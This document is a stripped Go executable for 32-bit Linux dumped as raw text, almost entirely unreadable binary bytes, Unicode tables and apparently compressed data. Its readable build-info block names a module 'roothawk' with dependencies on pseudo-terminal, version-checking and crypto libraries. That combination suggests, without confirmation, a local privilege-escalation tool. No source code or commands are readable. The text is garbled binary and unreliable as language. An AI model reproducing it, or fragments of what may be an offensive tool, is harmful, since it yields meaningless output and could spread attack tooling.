^~kB_>o^~Fk^~kBxB ^~k^~k^~LkBZ aIXC9C2*C9B ^~kB _^~ kC9 oK oB 3B V oB ^~ ko C ^~.k^~yk~CCCH jChjChTCTCM^~k%oB^ ^~kouooo^~koCt BVQo^~{koo:oD\. Da}vsB3BVCC! `0cf`^~ksb?^~k^~ksb?^~k   @@$ %d^~zk>6^~Ak0#fj`^~ko0of*=>| 6^~ k^~ k g^~ kIO EFO ^~ k6oo^~k`^gIbEFb K^ro^oo-.D5A^j^P^~^^ ^[^|^<^ ^5^===m,^mf,^hm,^5l.6DЅ^9^^:Ά Ά Ά b?Ά *=K*~*=*~7>::/w %/w %"  L Mp!pΆ !p!pΆ Ά m,.*=~=[!pΆ 8"_Ά# m.߈>0?؋؋  ؋Ne؋؋!pΆ !!p{3m!.Ά? m. L L!pΆ _Ά !hpΆ m5.*=B6wK  !pΆ  !Fp*=!`pΆ ΆG !pΆ m.!pq!pΆ Ά ɉ"5(0@8#"" 44<gEFT Ԃ  Xb(3@  0 l4ɉuɉ h``p``p0`H@T4!pΆ !pΆ Po3!pΆw !pΆ !pΆ ɉm.ɉ.ɉ --   QPPPT4P؋H~>|  ɉS (@ B@ TX4$j$_o'-.D? BC^;;*; O\*O*O*5l.6DЅ<%ae.|{K{={=<+ae|$)]e+|$]eG|$%]<>e| }K5 *~ <b QO<5a  a+% ~a<u%99aHu#؋797A>yO>6ATP'L_18<6p!VpΆ[ !Dp1_Ά ΆE m. lpk#;lq pk"lU " $ @HH$$0 l P(@(@ߔ5 (@0 4 P~'a~a   ||44 lzPL_~a2ޕ3YH OqiLhV~]a(@(@   4| l40~ba<9%q<(@T _C<Ph3=O )@xh` /)w %7(v@RRzdG>>—]nڗ&iWau#؋kN?k?MnN`tnj`n`ߙ+:gNCߙ: -'ʛ @ - ?@ - F@Hl7xPxxʛs !$ $ 3-C#E%7P)P{0 @@L@@44@8U# k- %z% @+P.W....fxn.<+P-a..B(3@4>*>dv'G2Q>)*>dv'G2 ,$q> 2ZW (=@R l?ll?l>3v'2E>9v'$2ҠM../D5M6.7D F4;4;4;" TH*T*T* EE0͢!P  DDDDDDDDDDDKKiQ i i `8 Q   i2  i  i AKţ  S `"1).) .ţ_"ɥx  Q   -ɥɥ   1d RW;}}f } ɥɥɥɥDɥ6ɥj )()())))()      l44cAɥE\"g}'}'ɥo   m #"``   H*=l  *=P*=5mY.emL.mY.  10B`0 D>_v'`2!pΆ o"! pΆ  "!'pΆ( &&Z@ @@  @`@   P P@ @ @ @T TT T T TT T D D 80 D@0H DX0` Dp0x0 8 8 8 8G8JG8G"88A""88,"88"z""8"0830"8"ԭO>8"!pΆ !pΆ !; pΆ< ! pΆ ! pΆ ԭ O>  "!%pΆ& 2"Q8TQ"!pΆ !pΆ !pΆ !pΆ !pΆ !RpΆS !pΆ !pΆ M5\%H @@@$&"+j++{++f+O 7A'Z I  Y2q vqvYYqvYqvYu ˰1ްU8=?l?lpGGGG (0$h IMM YްHU BR8=6K|IMM ްUB8*=dg_VVm.  0 0òcòò ò+#HHHHHHx0   0B-/pL|j$u%f/pȳj (juLC|jruL|juL |j u L0 |jY u L |j? uf i8 Pwd@I*=   HI~[A>yO>O*=$؋*=Y<$R #<c.-.DAjP~ [|< 5^===,f,h,5l.6DЅ9:SmW.  "# l4l!q! >v'2q /-((((Ѻ?lllq q/ (FdTt@8 8 8'K'K*a*a: : KKd3  44Ai(-@(!@*sa*aKKNii  84%H/8w %  @0_]f0R(, 9(VP&VP&VL&Vd&VL&Vl&Vx&:;0V&Vl&fF0- D<,^80  X-CUb%aH      @8`؋U1A91]AW9      0 % 4T4 )((, q   ?- @ |4 -(@ > @CA@  ?- @iI؋؋@ D% i>   RSMRMiT(V@(@D(F@@iLsrtA ( :1 e1 17.3 1 1 17X.X3  '((44T44 D44(@VJr[pk ( (* @pk l  QRiiP4T5ii  i(@(9@i+0!  lT|4T D D 440($<(@ E )(@(E( x[pI< TZ  4444 D4Vtr*(,@pkxpkli  4x(z@6(@ ######    444 l4444lM(@(\@(@A(@v(@)(@(@ll2  44444(@(>@E(@(x@^IA;jWI;I;jWe8jW:G41*Pu]PHEVpoCP;HP&+a2PEpCP`oO&gaV2<HPE@pSCP2e259J Wqk>2W (t't't'?%C]NxU#6*&a    q>2'W&ay &wa~-&N#NHG`=SgS '- @ aaAAAA V2XdLO0Mf0zx]xt]x ]x9]x ]x]x ].p.xp]  ))))))! &0 0!0!0a000044 NX:MP1P m- @ m>C^<l4  4I,G WglJTT;b(@%% % $ $$ $ $ $ =@P@0000@@@ pTTTTT4TT4TsvwsSs*wsSl!(@(U@(@pky(O @ (~ @ ( @u (5 @ (w@ll&          P   @ |444T4T04T44lKGj?h'fl  2!! P 8p4x44T D D 440,Hf(@(D(T@(DPEz:[pITZ 0!! X 8x444T D D 44($<f(@I(N@PIP7Jz:[pITZf(@D(<@DEz:[pITZ  '@@@@@P@@@@H@ x444T D D 44($<c(@D(K@DoEzo:[pITZ+ TTA h4p4xX D D 4444($<f(@Rz:&;Q;L(@]Q](b @[pITZc(@{@(9@{@MAzM:[pITZc(@R@(9@R@vMAzM:[pITZ U 4 HH U4=Itt `tt2tZt%`%`  )(T44444:c]zc:: ]z ::]z::[]z[::]z:D_Pa(`4h4p4x44444444444444444z :zm:z:z:zZ:z:z:z:zl:z:z:zA:z:z:z :zW:z:z:z :zN:z:z: jjjjPjPj@@TT44yj^j% ` D_:]D_ UUUUUUUUUUU (,.+ՠ)ՠ(ՠ( :]y^%`%``y^ UT  UTTTTTT #@(U,U.U+U)U(UX4~(@:]y^%`KUKu(@    $         $  $               $   $        %              z                      1    $         $                    $  !$    -      9  )  $       $ $ i              $   % %= ]$,                !      E          $ A    $    $Q   $  $  e     m yU    $(,    $ &B V[_dem x{         7=C M ] jrz         ,3 EK T emu            . A O [ h s          ! .6 IQV _ nw           # .5= L a  "$  $(+.0     ) G +./v $'-  ""$ ###$%(  '* 4 JOR ^ l |      ! &'''/589 HMU\ l            * 2  > E  Q  ^   "%                         / 8 ? F O  g  t  }                           )  8  C  \ d g  t { ~                        ` ` ` @Y@{@`9`b9<`=~ cc@:f: @ o` ] `\;` `@+` a+**v - N    `    `__` `_ ``@` 4  U`Y \````N`  ``\@KK@L`JML ,`  ` 4` `U@OP`PO`Q Qm `Pl `` `67 75@[@V@5 W@XL  P Q   UM `O  @UR @`T` ` T@Q`P` 1@0`n`` WV ` ``S `e2`S  @ fV` `V `0WT `@R@`Q 2 ` N`3` `S -`MY `  `8@/ l``o`   `./]] <@^^W`` `X @``y KN` ` [`` ZZZ @ `@ @  @` ` @@@   @ @@ @  @@   @ @  ` `` `` `@``` `@`` ``` `` `` @ ``@` ` ``@ '`@ ,@`@@@@ ` &@+  )  (@&@/0+` `'+* `)@*(`,(@@`(' ' @*@)`IIF`HCFE F G D HD`F`G`DIHHG E IGs m`s`&p))4&D&+T&))++,$,@,)\,).d&))*$*8*L*t&&0&&x,&&-'' ',0'@'t*P'<+p'''''''''(( (0(@(p(((**T+(((,,,*+4-()) )0)@)l+(+P)`)++ Go buildinf:go1.26.00w tApath command-line-arguments dep github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= dep github.com/hashicorp/go-version v1.5.0 h1:O293SZ2Eg+AAYijkVK3jR786Am1bhDEh2GHT0tIVE5E= dep github.com/liamg/tml v0.6.0 h1:yOC/Q9p9Io3J11U9LdYVIwpRTnTE1GPMNFLrygkmE2Y= dep golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= dep golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= dep golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 h1:CBpWXWQpIRjzmkkA+M7q9Fqnwd2mZr3AFqexg8YTfoM= dep roothawk (devel) build -buildmode=exe build -compiler=gc build -ldflags="-s -w" build CGO_ENABLED=0 build GOARCH=386 build GOOS=linux build GO386=sse2 2C1 rBA Go fipsinfo vg+ X%lhO|"_[V@c,11DD--..DD001& & Zhh%  %! ! :,11d,--..p..C0C0C0C0d@D@)P,(&Q,$$],SS,:??/ 7  7 @c,t,{none( ( ) ) ((@S,_, 4ФP@w,+EE E0909!~az ~AZ!PB @ble, 84  W@ _DFFLP~h8j//O ;0U4'0JA0000-//Pv@[^^@nn  `l  Pz'`   H p`0S__-0>ŨΨ٨P0YPPmptª۪ߪ:@[ƤG   CА/dev/urandomvP0V \ /proc/self/auxv bm{|@r@ AZaz  "`%1/111p,,,,ͩЩ٩ީߩ7;IMO``lnprs0-g-o-p---*!*!  ` @  1VY 5 9 ? jjjj0coo46G6@MPY\_0m P U c f   ' 0 9 @UW_` r x  @ U X _ oՌA 9 ? ?     DPY[]aopAq#-/     JMO`jpjjjj 09AZaz09AFaf   pr_? @ T 34MO?? ^ : .. . ..!.   / _ 000 +0;@DEO x ^`|P Pf } ~          / _ 009AZ__az!/:@[`{~09AZ__az m   9 .. . .. .   ( ) / _ 000KPY^_+0FMRu@`E:>Y6@U`gp      oJoOoooo@j^j`jijnjoj            `!!!!0!0"0)080:0/+xM--@./000011223W3foq    D F H J O T c f  GIlq  e ( ) / _ 000@tAJ $n$ 68EPl #$n$p$t$$C%-%-'---2PQR,0=@INOop p/sys/kernel/mm/transparent_hugepage/hpage_pmd_size68<>@ACDFGO  578<?jp|!#$&*....//00!0)080;04MNmp%*kEkPkYk[kakckwk}kk-]B   ..:.;.@.].000012X&c   SQ   * . ` d f o 04?4sz !5Oo`eghj                 $~ |  ?F  8Ui                 ( * 9 < D F H J M U V X Z ] ` a c f o w                              .0/011122`2~2`|  !"Udeg  &(:<=?MP]  6:<=?@GPY      ( * 0 2 3 5 9 < D G H K M U W \ ] _ c f w                   578;FPY      ( * 0 2 3 5 6 8 9 < > ? B G H K M Q Y Z \ ^ f g v          5 8 : ? H P X pz|t,f,Pg,k,0g,m,f,k,g,f,k,0k,`g,f,@l,l,f,`k,0l,Pk,@g,pk,@k, l,f,f,oKUpQ R T   *0-000 -;Ż-0Fgi{ooooߦ9@ JP#'pz|  @n_n!(O  `nn"C     ?AJVoqPpP=@!ptv 0@P`p @`@  %&(*058@HJPU`jp)]4};=_F ~ 8 #{ #*#i'u'''!'')))))#.&%.).V.\. 000000>6DHZ\^ =4]c^`u00 ![jkGP>@@kCkooooo @0m7=K`([3{:<_  E } 8 #{ #)#h't'''!'')))))".&$.(.B.U.W.[.00000?"57CGY[];3[_bb d'@Bʚ; TvHrN @zZƤ~o#]xEcd #NJ r w  x ~ X ^ p x *3i|p t y  P!_!!`$a$$$$v'',111 2)2H2O2Q2_2222205 (*02359<DGHKMPW]cflptpsuwz}&*]afjA EHMPWY_`}&!e?AZaz%,\bekwyq   *!+!2!N!`!!`,,"ʧЧѧӧէ֧٧0Z\dfi!:AZHJMPVXZ[]`Z]|------------------  &(.09`if o  f o  f o  f o  f o  PY )@IFOPY@IPY )Ш٨ Щ٩PY ';>{ 6V   5)14:\6 7 ;>fio$_jjZkbkUԝԭԺԼ:?EQՠ"% #(38:HJLPSXZ\^`cksx}tzY@ $(q FCdx},jx#q   |,},o-/.010,2050;00b00^00 spϩpݪm\_ipT !"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC#4D  !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`ABCDEFGHIJ*!LMNOPQRTUVWXYZ{|}~+<=>|~ D R z |  !@!(A!D!K!!E!!!!!!!! !!!! !" #!#|######%% %%o&'Q'''''')))))))*0+D+G+L+)b9df \^uӺ?c?yڌX?9?-^? h?:D?Kx? !? ?8G?2Sg?hz?:?Е1?z?G?g!?Kx?4&?̈Gj?TNK?sp (??P??2Ut?Uᢜ>?&m??l??sjbƈ?UϋE??0?_  ) 1 4 7 = ]  ) 1 4 ^  ) E I W  E I HIWYmq_XZ\^ +&---------.@00112ҧԧΩ'/7=?BESgu  VUU433$Ir]tVUU;J$9.ى%IqgffF]VUU$I@8433.*J$ qaVUzDy 0  C{ ?gfVUJ9o43]g%I0 9 fo6?PYPY09PYPYPYPY`jijjjPkYk@IPY`~!"$')2479;BGIMNOQRTWYabdgjlrtwy|~33333333)\(\p= ףp= x&1|?5^I ~:pΈҲ qh N]h㈵9ahVyc{-1Fw$zՔ!"Kga*m.:BGkI> O{ͷu9 idW>Pb6-?C,z MY@1eoT5$E!@pG8w=_$A|AѤ䥬4 )TTpi;wwIYePr&ޭԔ],`yOoy.P9KkSsk*!s+!0011SE&!24>!A"B*J24>ABJbcc!"*bJ`aa`E&!*!K+!JKK09`if o   f o  f o r w  f o x ~  X ^ f x  PY 3@Ii|FOPY@IPYp t u y  P!!!!`$$$$v'',0 !0)080:011 2)2H2O2Q2_22222 )05Ш٨ Щ٩PY'pz|  @n_n4Mh  89;>@DFJKPl!<Up4Vn6!(O  `nn3NTVg7Rk";Vo6NPUp5  %*"C@[`{ t~  @d e ?56   d f p t ~   !%!'!)!,!1!3!M!O!_!!!!&$@$J$`$')s+v++++.].//0000 0 00070<0?00000[011111 2_2222X3YY33MM!09.ϩ[jk>Q?0RTfhk ;@[ep.AAZaz psvw{}/1V`+kwy EHMPWY_`}!! !!!!!!$!*!+!-!/!4!9!@DFJKPR46NPnp  %*C ; 8> @ I L N O       ,> @  ;    6 > ;@ G H K L W      *  A D          > ;? @ F H J L W + L   >?+,18;<VWb cdgm 4#&)+0138UWacdm nr51;=>ACD=$1%+45.0/0#$'Y3èRS1/034M{.}n  p v   O y *48m@ajt|!!!!! !!!!!!#!%!)!.!:! ;!J!L!M!O!!;!! !!!!!!!!!!!!!!!!!!## ##"#(#+#{#}#####&$@$J$$$%%%%%%&n&p&g'''((+/+E+F+M+s+v++++,,P.Q.....////000 0 6070>0?011111122*2G2P2`2a222223MMƤ(+679w>xy@O.1oW ?  P X   q  9 ?   UYGM@Ctu8=KLOZ[]iAC`l<=>;D EF?]@F AEpqCOp$qq$t$//njojj7kB8k;kDknSnnoL^_1oW ?  P X   q  9 ?   UVYGM@Ctu8=KLOZ[]iAC`l<=>;D EF?]@F AEpqCOp$qq$t$//njojj7kB8k;kDknSnnoL^_AZ.269GJxy}2:;=>ACDFHNEp+rv /`.1V(/8?HMY_ho&!*!+!2!!,} ,/,`,b,c,d,g,m,n,p,r,u,~,,,,,,,@NyBl".2ny}~ħŧǧɧЧ֧ا!,W":AZ69GJxy}2:;=>ACDFHNprv /`.1V(/8?HMY_ho!! ! !!!!!!!$!*!+!-!0!3!>!?!E!!>,/,`,b,c,d,g,m,n,p,r,u,~,,,,,,,@NyBl".2ny}~ħŧǧɧЧ֧ا!,W":az*/37:HKwz~#3<?@BGOPTVWY[\`aefhiloqru} Eqsw{|}0_a/ay}s '07@EQW`gp}N!!60,_,a,e,f,l,s,v,,,,,,- -%-'---Am#/3oz|çȧʧѧק٧SpqAZ!#%'*./: ;?@\~Z[_7    jm, 0>^d e p v y w  pOZ [qJO`eahn}56 DEZ`}~;?~ C ! ' 0 8 ; > A C G Q S U V ^ ,,,,p-..... .........*. +...0.9.<.?.A.C.D.O.R.T.00=00 s~ twΨϨ.2/_0ͩީߩ\_ުߪ%R0EFILPRTW_ahjk   <adee!#%*,/:;?@[]_{}$~ Z_    jm, 0>^d e p v y w  pOZ [:&;=KJO`eahnn56 DEZ`}~;?~ = ' 0 C E Q S ^ } ~  # #)#*#h'u''''')))))),,,,p-....0.O.R.].00000000=0 00[ s~ twΨϨ.2/_0ͩީߩ\_ުߪ>SQ?0RTachjk   ;=?[]_`e.,EF<,^-.235>?ADGHKMWb c567@AEk0r12;<>n j!&,.801578=@B9UWX/>k_ 45>?AQoPRooooefmraz*78HIwz~349<?@BGOPqsw{|}041_a/`+kwy '07@EPW`gp} !!!!/!9!^`|~ uq   j  p  O y ?48mn@ajt|D R z |   !!!!! !!!!!!#!%!)!.!:! ;!@!A!D!J!M!O!!;!!!# #(#+#&$@$J$$$%g''''''))))))s+v++++,,P.Q.....////000 0 6070>0?00011111122*2G2P2`2a222223MMƤ !(+69wy[jk)O@O-bdefi >@\^7?y0wx ?w @DFJKPRq=+0;@HPQ`ev{ GPY`S`mp| !oK_pf01J#%')-Y[ : < > O Q W b c         < > ? B G H K M Q p q u          < > ? D G H K M U W b c  <    )  < > ? D F H J M U V b c           ; < > D F H J M W b c       145:GN59>?q+e,>VY^`bdgmqt ]_24RSrs .  v# +0;U^`|14Dks$7 ,,--a--*0/000ort} #$',T3Ũ&''-GS)D*6CL M{.|}* /oK_pf01J#%')-Y[ : < A H M Q R W b c  ;     < A B G H K L M Q p q u         < ;? A B D M U V b c   < > ? @ F H J M U V b c  ;     ; < A D M b c    1[4:GN59q~-g.0279:=>XY^`qt]^_23RSrs .  v# "'(29:;V;X^`bels|1467:<Bks,367   ,,--a--*0-000otu} %&,ĨŨ&''-GQ)D*.1256CL |4+ 1O /vz      8 : ?   $ >% ' FP8Fpst >'4EFs ,7>A;<>DGHKMWb cfglpt5F^R0@+,:0578;>@BC 39;>GQ R[/68?16:<=?@EGC415:>B@4G4H4U4jj0k6kOoQoRoooooo oLb-0Feimr{BD6;lu!#$&*016>DJvz      8 : ?   $ >% ' FP879Fpst >'+-4s 5/`01467>A;<@f&glpt8?BDF^3:=?@kf"%'+/79:;<>C! 38;>GQ RVY[068=?S16:<=?@EGI\ 657:@B@4G4H4U4jj0k6kOoo@oooLb-0Fgi{BD6;lu!#$&*016>DJ< ?AJnoq /M@X`jp 9 = P X a r                 ( * 0 2 3 5 6 8 9 Y \ ^ r s t               ( * 0 2 3 5 9 = \ ] _ ` a q            5    ( * 9 = X Y Z ] ` a              : = N T V _ a z       023@E@@AGIl*?PQUZ]aefnopurHJMPVXZ[]`Zlo1@Q`lnp D!BDxPmpt T3EL#MOZw5!;6!8!0-g-------------------0<06A000000011/111111114MNФ *+n2h  "@s %0F`|(@BDK`oqvz~ª۪ܪ  &(.mp (*68<>@ACDFG=Pptvfoqxy0WX8K=Lf./?\]_ko                 ) 1 4 : ; = C F I J N P R X ] _ ` e w               ) 1 4 : ; E F I J N O T X [ ^ d e x y                  ) : ; E I N O T W [ \ ^ _ d e p q v          E I P S d e          ;>\Hm%np%INOWY^_*[D\}!~7?T_mqty, -/<?ACnou_}~ MOu8:JLFGNOX^~e fr s     !!'$?$K$_$t+u++,^,,&-(-)-,-.-/-h-n-q-~-----^....Z..////@00W01h11011_112nrǤϤ,?˧ϧҧԧڧ-/:?xƨͨڨߨT^}Ωک ۩ݩ788?NOZ[êڪ'/loׯno7=?ESglouxy0WX8KL./?\]_ko                 ) 1 4 : ; = C F I J N P R X ] _ ` e w               ) 1 4 : ; E F I J N O T X [ ^ d e x y                  ) : ; E I N O T W [ \ ^ _ d e p q v          E I P S d e          ;>\Hm%np%INOWY^_*[D\}!~7?T_mqt y, -/<?ACnou_}~ MOu8:JLFGNOX^~  * . ` o r s     !!'$?$K$_$t+u++,^,,&-(-)-,-.-/-h-n-q-~-----^....Z..////@00W01h11011_112nrǤϤ,?˧ϧҧԧڧ-/:?xƨͨڨߨT^}Ωک ۩ݩ788?NOZ[êڪ'/loׯno7=?ESglouMP]37#-JPz'0co6@U`g8<<?  9 ? ?        5 8 : ? H P X `       5 9 U X r x       H      ' 0 9 `'0YpMRuGPvA DGHKMPPWW]cflptaDPY`l+0F;   8;FPYGP EPlp6:GPY`:>Y#$t$$C%//0/4@4U4DFFh8j@jijnjjjjjjkEkPkwk}kk@nnoJoOoooooooopՌ"22PRUUdgpjp|-0FP&)r{EV`x  FJ%**0m,0=@INOKPY^_q=$';BBGTWdg+0;@HPQ`ev{ GPY`S`mp|ߦ9@ JP#AZaz ptvwz}/1VY`a Jnoq /M$ (@AX`jp 9 = P X a q                 ( * 0 2 3 5 6 8 9 Y \ ^ r s t               ( * 0 2 3 5 9 = \ ] _ ` a q            5    ( * 9 = X Y Z ] ` a              : = N T V _ a z       023@F@@AGIl*?PQUZ]aefnopuHJMPVXZ[]`Zlo1@Q`lnp xPmpt T^3EL#MOZ} EHMPWY_`}q   !! !!!!!!$!*!+!-!/!9!@ACDFG=Pptv!:AZf  &(:<=?MP]-@BIPuP'0c6@U`g  578<?@U`v   9            5 ` |        5 @ U ` r    H  # '0 1Ep7qru&DGPrv +?@ (*02359=P]a4GJ_a/D<H@F+   /?A  2:P\ .@r2s  0F`aeghjH3 P #$C%//0/4A4F4DFFh8j@j^jpjjjjk/kckwk}kkoJoPoppՌ"2PQRUdegpjp| ,NB!"$')2479;BGIMNOQRTWYabdgjlrtwy|~ߦ9@ JP#  &(:<=?MP]-@BIPu'0cpz|6@U`g  578<?@U`v   9            5 ` |        5 @ U ` r    H      # '0 1Ep7qru&DGPrv +?@ (*02359=P]a4GJ_a/D<H@F+   /?A  2:P\ .@r2s  0F`aeghjH3 P #$C%//0/4A4F4DFFh8j@j^jpjjjjk/k@kCkckwk}kk@nnoJoPooCoooooppՌ"2PQRUdegpjp|TV  9;>@DFJKPR46NPnp%*0m,7=NBCK!"$')2479;BGIMNOQRTWYabdgjlrtwy|~ߦ9@ JP# ';>NO^46$,KO{&(/dn{7?V_h+ 6-9;=>VI  : > @            6 7 ; > I O Y _       6 8 V W s w       I      ( / : _+(/ZoNQv~5HIOwB0C  )14:E FIJNOQRVX\demou\bcEOZ_m,/G<  69:G HOZHO  7.FOmo 79;>HOZ_fi;*<=Z##o$u$v$$D%///04?4V4CGFg9j?j_jjj kjmjjj jjjjjjFkOkZkbkxk|kk?nnnKoNooooooooo֌ #$$13OSTVchoko}./GO'(szFW_yUH    :?EGIQU%$+"%+,/n-/>?JMPLOZ]`p> #%&(38:<=ACFHLPSUVX`cefks} ,/<?IOR_fwz HOZ_T_no}8:?KO# ';>NO^46$,KO{&(/dn{7?V_h+ 6-9;=>VI  : > @            6 7 ; > I O Y _       6 8 V W s w       I      ( / : _+(/ZoNQv~5HIOwB0C  )14:E FIJNOQRVX\demou\bcEOZ_m,/G<  69:G HOZHO  7.FOmo 79;>HOZ_fi;*<=Z##o$u$v$$D%///V4CGFg9j?j_jjj kjmjjj jjjjjjFkOkZkbkxk|kk?nnnKoNooooooooo֌ #$$13OSTVchoko}./GO'(FW_yUH    :?EGIQU%$+"%+,/n-/>?JMPLOZ]`p> #%&(38:<=ACFHLPSUVX`cefks} ,/<?IOR_fwz HOZ_T_no}8:?KO#3J[_AJ{^C\Jw7]}Cw!cajUB@&n4QIUP"Iwq\-_Ɵ\hCJ9? 4iY3pjNѼ.+ʔב,$42j?+BhO" 9'½[%)<*jRz3jɊ;n!|[Qũi !1䵦S)4S2j.IYbQy8v8LgcUawĖ jbOFڐ!z2(3w Ǿrpi%OLsԴxn'1W/x $/[YI9-La]4ﰽ+VP9` 5Tpv ^7}-y|{"by8q"yD@PXr̔)AQF纱VIoh gRSr$L^ZE+;\xnWS^)NOjcDjP:滜3 5Z $"xE8N>NT/Sﳇ iC{ PLÞQG [~?"ҥa|E^PnhD6 )D.1=(iHfN`oQA'Ga}Bv<xI@wlFDq p[Gem`xqWn3bnGNR q8V$W|TSgTQY"R=:+8HL+P/hǟ ?\&Xk@ rRq65Jn\@0ǯxיXI qN/݅gpb#a "$#&&P{=!鮼 |Fbz?:7yEyRS@{(ڽ ]QGP27~ ?39>dd[מגX!h!1F{:=j+6g<^9*vvos1PY3$m4@qƤsfnKSA Erj0, XkE)j b\^9鸩NtHᮄ\4q:2J(R'o;.NF`g#'s$Aׯ*} }9,TtB%@f4YE" ڷ9BAVU'(d=koǡRlf*dcJ~Xac6 9s;ًiax=Wɝh:35RP-Dm[1ffe7QhTFp7)]((DiuN#CA)Oy}h UA?t'0FEh#9IZV6a=zlpJp@:ޕG5_Vٸb4IAS(S:oF%b(KcfqjQl2@z$Zf;ZdҀL+":XM=c/ˉ a 9] Ĕ&`ӛWfBX2b/8yY'V:ِK/\];5kvʃ&_BSv@+<]4rdtAxN>/wxRB@b+)N*8S|i{$WcI6k2\d|{g ?ƸG9ptyܠ#wnɷB3' 9[h'MlT: yg~ "I~EMe(]XlC]y2E߇yzVǣ(k 'j΍Bi-U’]7OC̳|<٫^b, ^h[8Cpj\˰'cA?ɨRT XT1a~uL DMk/`6%&Ն3rpͩQ$TZe( 夯$#%3|_B^2+@a d_+<~A>k ;YhIVuL6b* :g(`y!W+~$Q)uJ+%2H5'Mv:Dgw}5l<y5[k'[(c%{1%}B#%h~<_3Yq6*,29CҲ~ Gb_BG[Pc?IlAk"|Or$Z= G 5)=eX( U4+\Bx6,n rypr!li6[ylRb7ygݓx koQu4g$L&Ղu<Fu{⴪\?^%C=D(HM 9"l6#)\_*Tz8d 6G_ Z-ȸhǬ#C %dyZ%Z~=sꤏ<"yuх!=afNgy?*mURmG*mhP#] [w6^e}tr+*k%Csbk$<-0K#1 ] aNO3l6e%9m8+u~`q`l|=/iky* +۶+[$[?`~Ey1\3q4U^yuװw'C,f!*EInȱf=B G.aow]>:?qnGxį@xq$!j߶lN@gve RQ^q+zkA6y/+3C{]n^D ;,7)=O2O)ӄ 7V NܧV|$ZxeGD ]];be(jq0/v׭4xpەuCt92o@LmSЗŚSRYu$axmc*K"?7{F=~kvbk]vr!x:g嫂~4l@vs/ޚLЧ~wMmG=K12L =C&ss:y2nacfO4IDܾT^R A}ø@'YlDNGXn{,T\0{*] 0Gy}9Ӷ+p|F 6ڴkBvSy`CܘόdO2I#(7HPm vOsE}SBbYh+@`~ daUH1uyC;wonfh(4rU֑TTew>oGIUy\cb?9>g""m~cf~f78诤Gג߫jO2)RYtu ё|ؕ:S|۱sfFfhp$qKM C,Ue1X#HX 〽w'rPᰜ]HAq dx9dk/ ^BPg\9L(BI6!w_fQĩCQãQ(y$( [8 ưYJ)Xeި.8Ǎz̖ZSt;^sW~%1: 9AZ az yy/00911279HJwxxy~Oaa88  ~"3::+*;<==]>>(*?@?*?*ABCC=DDEEEGFOPP**QQ**RR**SS..TT22VW33YY66[[55\\OO``33aaKKcc11ee((ffDDhh//ii--jjDDkk))llAAoo--qq))rr++uu**}}))&&CC&&**&&''%%EETTpsvw{}t&%@?  ~P/ 0OP_`/1V0a```  З‰‰@@yy}}88A '(/078?@EHMQQSSUUWWYY[[]]__`ghopqJJruVVvwddxyz{pp|}~~   &!&!*!*!A+!+!2!2!N!N!`!o!p!!!!$$$$,/,00,_,`,a,b,b, c,c,d,d,e,e,f,f,g,l,m,m,n,n,o,o,p,p,r,s,u,v,~,,,,,,,,-%-'-'-----@m"/2oy|}}u~Z00ZZZZZZZZçħħŧŧZƧƧuǧʧЧѧ֧٧SS``p0h0h!: AZ'((O(pz'|'''  @   @n_n `nn!""CՏS`i2噜\ BU^asRxZGvR"J\cҾ(/)382tZ;S?;)?eefX$YJv>ᮺI- y]SoΊߙZsy,,+ؑiKyFq6NlHMDz%#rxjm 0O\5Q^3-#Gf+ނ5x,vU0 1̯!P;Lk<ܭ=*$Jx݅KbS 4mk3o=qԇh@drˌɩQhH;f%mtvWK`0K>~;Υ-^85A5]JBϹuLRzΕ CsIB `fNww&8G"U c^s 5U]_nUb/64!{+ջC#u-;eUkn6%!3GԜ niv,n% DH %CpdW*͖(W^j8>'u7kq.h3DJ~X1[D!jzLhrd)غ`YE=3)$ok0bЏVyԶӥijlwH<)).ޔ3%I q o(TM^J2qPa,n1'\":1ƚpH cm}x=M̻, NF`%!&8#XlN *o(,nG᮴ fEyۤ̂MȟP}r%kf5(Hf;^eC2@J6Vc؂j@>ԾhN"uO>DwZZS 6qU1(\Q>D[Z † yXfr9Mnb-@s]Ώ-!= h 4f|r#j9NNDGC bf'"bKɦq=`?wo"|!M8U+THj`FS*~OmBDt.9zc%C1SUX='~U5yc5u|&X4/UK<%oˋ#w"y^F_uv 6]I{fg΄Yy@'᷂X7 1 ?jgνߚgB`A֋$m\,mSx@I̮nsXHh[ڞjPu9-^zyBRmx;Ӧ{2_`d J&;\U\oJHH/W`&$ڔ;Wζ]yZ[lB,1r'0S*xPN1J<(d$5V6^F6w?nY{U(&t~Wω/3OH8oꖐ!v]?cZ SkuzmM(YIӽ`3\ٻ-qd4,9ϪMygAwGܠU`I,DrĆ9b7]"u(1:%˅t׋k62c}dqӨ1]MSf-bg{$cr`=ހmYGBx SatRVfQp[y͋l'.g2FqkSۣ󗿗φ(}Ͳ"al]=_ Wkyc1Ü;t60`wÜD۾;մD-HU-JM-uxF\]cxZb* 44|qzM=5]WF Y`t׬XҘK?p8+#Tw'Fc{,)UdBձL;wsj=J_ >*br{~T5*g8C#Oa1Ԕd~8<<Ӎ@^p8G EHP$vڍW $֭;Ԩ ץL L!Lϟ^+eṗtgi Gv;?ȄsA) w XRqhUyϴf@qՓ0U@HL/8'|jPZ;٦J0F.DcmJ.>vJ2NY'D)?@(0T|Y+ѹx>ݔX0t20:<6Rj㡌?'D巧`^:)ޥHtV֑f!d4[I%Οk4 ;i‡FB@OQ]= k)XQ* rGsۓVieg!YPҸ,S>ih0sUrsO:BANdP#僥b}$l9JFEr]ΖK2kO|de2?/nUraֽ{S ȅuE6__,tRA7#8H,Q;,ZH="sM_ Xf`>ѷ?̨&1ϻRpIFwӛa՟3ȂS|nk.d{ch isƣz=->!QaN\ ib OInH&ޓãۉZv:k\muZF)e 3R#X񗳻Yg+,.X}jt@8H۔WN¨PFlabMfנ w`2$^.t V$ 